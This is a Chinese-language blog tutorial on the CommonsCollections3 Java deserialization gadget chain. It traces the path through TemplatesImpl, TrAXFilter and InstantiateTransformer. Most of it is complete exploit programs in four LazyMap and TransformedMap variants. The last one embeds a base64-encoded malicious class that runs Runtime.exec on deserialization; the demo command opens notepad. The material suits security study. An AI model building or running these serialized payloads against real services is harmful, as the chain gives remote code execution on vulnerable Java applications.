java反序列化cc3链分析
前言
休息完五一,继续卷,原本想结束cc链的,但是发现cc3链好像用的方法不太一样,感觉也是可以记录下来,这里感觉cc3链有一些像cc1链的变种,就像是给你一些绕过的操作
在说一句,白日梦组长永远的神!
环境搭建
这里可以参考上面cc1链,环境用的是一样的
java反序列化 cc链1 分析
动态类加载
直接讲难的也不好,这里我们从基础开始讲起。
我们在学java基础的时候,都应该接触到了一个叫做代码块的东西吧,这里我们要使用动态类加载和代码块。
public class test {
static {
System.out.println(1);
}
public test(){
System.out.println(2);
}
public void aaa(){
System.out.println(3);
}
}
这里我们创建一个类,里面只有一个静态代码块,然后使用两种方法的动态类加载来使用他。
第一种方法
String url = "org.example.cc3.test";
Class<?> className = Class.forName(url); //输出1
test test1 = (test) className.newInstance(); //输出2
test1.aaa(); //输出3
第二种方法
String url2 = "org.example.cc3.test";
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> clazz = loader.loadClass(url2); //输出空
test test2 = (test) clazz.newInstance(); //输出1和2
test2.aaa(); //输出3
两个一起
String url = "org.example.cc3.test";
Class<?> className = Class.forName(url); //输出1
test test1 = (test) className.newInstance(); //输出2
test1.aaa(); //输出3
String url2 = "org.example.cc3.test";
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> clazz = loader.loadClass(url2);
test test2 = (test) clazz.newInstance(); //输出2
test2.aaa(); //输出3
这里解释一下比较多的疑惑
疑惑1:两个一起为什么下面那个不输出1了
首先我们要知道输出1使用的静态方法块,静态方法块通常是用于初始化的,所以他只会执行一次。
疑惑2:第二种方法,loadClass已经触发类,为什么没有输出1,而是等到newInstance的时候两个一起输出,这个和第一种有什么区别吗。
这里我们就要讲一下他们的区别了。
Class.forName() 除了会加载类外,还会初始化该类(执行静态代码块等)
ClassLoader.loadClass() 仅执行加载操作,不会初始化类
疑惑3:第二种方法中newInstance后,为什么一次性会输出两个
newInstance是通过调用类的默认公有构造方法来实例化对象,所以他是调用了构造方法,同时也进行了初始化的操作,所以他是会触发构造方法和静态方法块的。
注:如果没有loadClass他是不会触发静态方法块的
链子分析
第一阶段-newTransformer方法
这里我们是使用ClassLoader来加载类,使用方法上面介绍了,这里我先讲解另一个知识点
当 ClassLoader 加载一个类时,如果这个类之前没有被加载过,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象
所以也就是说,当调用 loadClass() 方法时,如果该类之前没有被加载,那么底层会调用 defineClass() 方法。
这里找到这个defineClass方法,然后右键查看用法
这里我们找Templateslmp类下面的definClass,F4就可以到这个方法的源码地址,然后我们继续右键查看用法
这个方法调用了他,我们跟进去看看,这里是干了什么。
这里他是解析字节码数据,然后赋值一个class对象,然后在看看defineTransletClasses发现是一个私有,在继续查看方法
这里发现getTransletlndex方法是共有的,但是下面这个私有的会有更多利用
但是这里我们发现这个方法不仅触发了defineTransletClasses,而且还是使用newInstance方法,要知道我们使用的是ClassLoader类,所以就是使用loadClass方法,所以是需要newInstance帮我实例化对象,才能触发静态代码块,继续使用查看方法。
我们发现虽然这个只有一个方法,但是说他是public,甚至说他接口了Serializable,正好对上了是吧
第二阶段-分析newTransformer构造链
这里我们继续看到 newTransformer方法,这里看到他是触发了一个构造方法,里面就会触发getTransletInstance方法,而且这里看到默认值都是null,这里看到getTransletInstance方法
这里我们看到,我们不能让_name为null,必须让_class为null,因为我们要触发defineTransletClasses方法,继续跟进
这里我们知道了_bytecodes的值也不能是空,不然就返回一个报错。
这里我们看到defineTransletClasses方法,他这里就是让我们传入一个byte字节码数据,然后他这里是返回一个calss对象,然后defineTransletClasses方法走,就会在getTransletInstance方法中,触发newInstance方法,就可以实例化class对象,然后就可以触发对象中的静态代码块。继续跟进看看_bytecodes和defineClass方法
这里可以看到_bytecodes是一个二维数组,传进去是一个一维数组的byte数组
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a"); //给_name赋值,不让为空
Field byField = tc.getDeclaredField("_bytecodes");
byField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("")); //字节码文件的位置
byte[][] codes = {code};
byField.set(templates,codes); //传进去恶意字节码文件
templates.newTransformer();
}
按照上面的思路,这里我们写了一个框架,这里他需要一个字节码文件我们生成一个字节码文件,先写一个java文件。
//test.java
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("notepad");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
然后我们随便运行一个东西,就会生成他的字节码文件,这里我们复制他的绝对路径,放到里面
第三阶段-解决报错
导入进去以后尝试运行,发现run方法报错了,这个跟进报错去399看看
这里我们发现_tfactory也调用了一个方法,这里跟进看看。
这里我们发现他默认是null,所以才报错,这里我们尝试修改他的值,看看能不能触发,还是又有别的问题。
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a"); //给_name赋值,不让为空
Field byField = tc.getDeclaredField("_bytecodes");
byField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
byte[][] codes = {code};
byField.set(templates,codes); //传进去恶意字节码文件
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
这里又在defineTransletClasses方法中爆了一个空指针的错误,因为空指针不好判断,这里我们选择使用断点调试
这里我们找到问题了,因为这里有一个判断,判断我们传进来的class对象的父类是否等于这个常量就是等于AbstractTranslet类,不等于就进入下面这个,因为_auxClasses是null就有了空指针错误,但是解决了,下面还有一个判断_transletIndex小于0就会报错,然而_transletIndex的默认的值就是-1,所以我们还是修改class对象的父类方便一点。
//test.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("notepad");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
修改以后再次运行,发现弹出记事本了。
第四阶段-接壤cc1链
为什么我上面说cc3链像是cc1链的变种,因为我们后半段的逻辑都是一样的,所以这里就不废话了,唯一需要修改的地方只有这里,相当于触发他的newTransformer方法。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
exp1-LazyMap链
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerFactory;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3test {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a"); //给_name赋值,不让为空
Field byField = tc.getDeclaredField("_bytecodes");
byField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
byte[][] codes = {code};
byField.set(templates, codes); //传进去恶意字节码文件
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
Object o = constructor.newInstance(Override.class, proxyInstance);
serialize(o);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
exp2-TransformedMap链
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3test {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a"); //给_name赋值,不让为空
Field byField = tc.getDeclaredField("_bytecodes");
byField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
byte[][] codes = {code};
byField.set(templates, codes); //传进去恶意字节码文件
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
hash.put("value",'b');
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
第四阶段-绕过InvokerTransformer
cc3肯定不止这点特色,他的作者还发现一个类,可以绕过InvokerTransformer,那就是InstantiateTransformer类
这里我们可以看到InstantiateTransformer类的transform方法
我们看看con是什么,他相当于触发 ((Class) input)这个类的构造方法,然后input,我们是可以控制
然后我们继续来到templates类newTransformer方法右键查看用法
这里我们看到TrAXFilter的构造方法中是触发了templates类newTransformer方法。
有人疑惑为什么不直接使用TrAXFilter类呢?
因为TrAXFilter是不能序列化的。
所以我们这样修改就可以了。
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
exp3-LazyMap链
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3test {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a"); //给_name赋值,不让为空
Field byField = tc.getDeclaredField("_bytecodes");
byField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
byte[][] codes = {code};
byField.set(templates, codes); //传进去恶意字节码文件
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
Object o = constructor.newInstance(Override.class, proxyInstance);
serialize(o);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
exp4-TransformedMap链
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3test {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a"); //给_name赋值,不让为空
Field byField = tc.getDeclaredField("_bytecodes");
byField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
byte[][] codes = {code};
byField.set(templates, codes); //传进去恶意字节码文件
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
hash.put("value",'b');
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o); //定义了一个序列化的方法
unserialize("1.bin"); //定义了一个反序列化的方法
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
第五阶段-完美exp
我们都知道上面是使用class文件的位置来的,这就造成了一个问题,每个人的位置肯定是有一点不一样的,那么我们可以使用base64编码来让字节码文件可以显示出来,这里我将文件导入到kali中,然后base64加密
将上面的
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
替换成
byte[] code = Base64.decode("yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABZMb3JnL2V4YW1wbGUvY2MzL3Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAKAAsHADAMADEAMgEAB25vdGVwYWQMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAUb3JnL2V4YW1wbGUvY2MzL3Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABcADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAABwADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAOAAkAEQAMAA8ADQAQABYAEgAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAk");
base64-exp之一
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3test {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a"); //给_name赋值,不让为空
Field byField = tc.getDeclaredField("_bytecodes");
byField.setAccessible(true);
byte[] code = Base64.decode("yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABZMb3JnL2V4YW1wbGUvY2MzL3Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAKAAsHADAMADEAMgEAB25vdGVwYWQMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAUb3JnL2V4YW1wbGUvY2MzL3Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABcADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAABwADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAOAAkAEQAMAA8ADQAQABYAEgAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAk");
byte[][] codes = {code};
byField.set(templates, codes); //传进去恶意字节码文件
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
hash.put("value",'b');
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o); //定义了一个序列化的方法
unserialize("1.bin"); //定义了一个反序列化的方法
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}